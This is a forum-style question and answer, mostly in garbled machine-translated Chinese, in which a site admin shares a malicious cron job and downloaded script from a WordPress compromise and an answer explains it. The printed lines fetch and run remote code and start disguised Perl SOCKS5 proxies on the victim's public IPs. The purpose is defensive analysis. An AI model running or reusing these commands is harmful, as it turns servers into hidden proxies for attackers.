我们网站上出现的一些恶意软件与最近的 wordpress 攻击有关

some malware that appeared on our site related to the recent wordpress attack

显然,我做一些志愿者工作的网站是最近一次利用 wordpress 中的某些漏洞的黑客攻击的几千个网站之一。违规的结果是向站点添加了一个 cron 作业:

0    */48    *    *    *    cd /tmp;wget clintonandersonperformancehorses.com/test/test;bash test;cd /tmp;rm -rf test

它拉取的文件是这个(显然,不要尝试执行这个...)

killall -9 perl
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
sh getip >>bug.txt
/sbin/ifconfig  |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print }' |awk -F ' ' '{print }' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
bash mbind clean.txt
bash binded.txt
cd ..
rm -rf stest

我希望有人能告诉我它的作用?我清除了 cron 作业并将遵循所有其他可用的建议来再次保护该站点,但我担心可能已经造成了一些不那么明显的额外损害。我就是搞不懂那个文件到底在做什么。

I just can't figure out what the heck that file was actually doing.

快速总结

总而言之,它会终止所有 perl 进程,然后tar在所有机器的外部 IP 地址上启动 SOCKS5 服务器。

深入

更详细,让我们逐行查看脚本:

killall -9 perl

这会杀死所有 perl 个进程。

cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest

以上下载文件 stest.tar 并在 /tmp/stest 目录中卸载 tar 文件,删除 tar 文件,并移动到现在的目录下载的文件。

sh getip >>bug.txt

getip 脚本是 stest.tar 的一部分,使用 icanhazip.com 查找您的 public IP 地址并将其存储在文件 bug.txt 中。

/sbin/ifconfig  |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print }' |awk -F ' ' '{print }' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt

上面使用 ifconfig 检查您的机器回答的任何其他非本地 IP 地址并将它们添加到 bug.txt。删除重复项,您的 public IP 地址的最终列表保存在文件 clean.txt.

bash mbind clean.txt

这是脚本的核心。 mbind,它是 stest.tar 的一部分,运行 是 clean.txt 中每个 IP 地址上的脚本 inst。对于该 IP 地址,inst,也是 stest.tar 的一部分,随机选择一个端口,并在该 IP 和该端口上发送 "Simple SOCKS5 Server for Perl" 的副本。

更具体地说,运行 的 SOCKS 服务器是 Simple Socks Server for Perl 的 1.4 版,可以是 downloaded from sourceforge. 这里使用的版本不同仅在次要方面来自 sourceforge:抑制了帮助消息,删除了 md5 选项,并且 IP 和端口包含在脚本中,而不是在命令行中传递。我怀疑后一个更改的目的是使脚本的命令行在使用 ps.

等实用程序查看时看起来相对无害
bash binded.txt

脚本 binded.txtinst 创建。显然 运行 是对 SOCKS5 服务器的检查。

cd ..
rm -rf stest

最后一部分只是清理。它会删除所有非tar红色文件和脚本创建的临时文件。

如何确定其中一个 SOCKS 服务器是否仍然 运行ning

脚本 inst(.tar 文件的一部分)starts 每个 SOCKS 服务器使用以下命令:

/usr/bin/perl httpd

要查看一个是否仍然是 运行ning,请查看 ps wax 的输出并查看是否看到该命令。如果这样做,请使用 kill 命令停止它。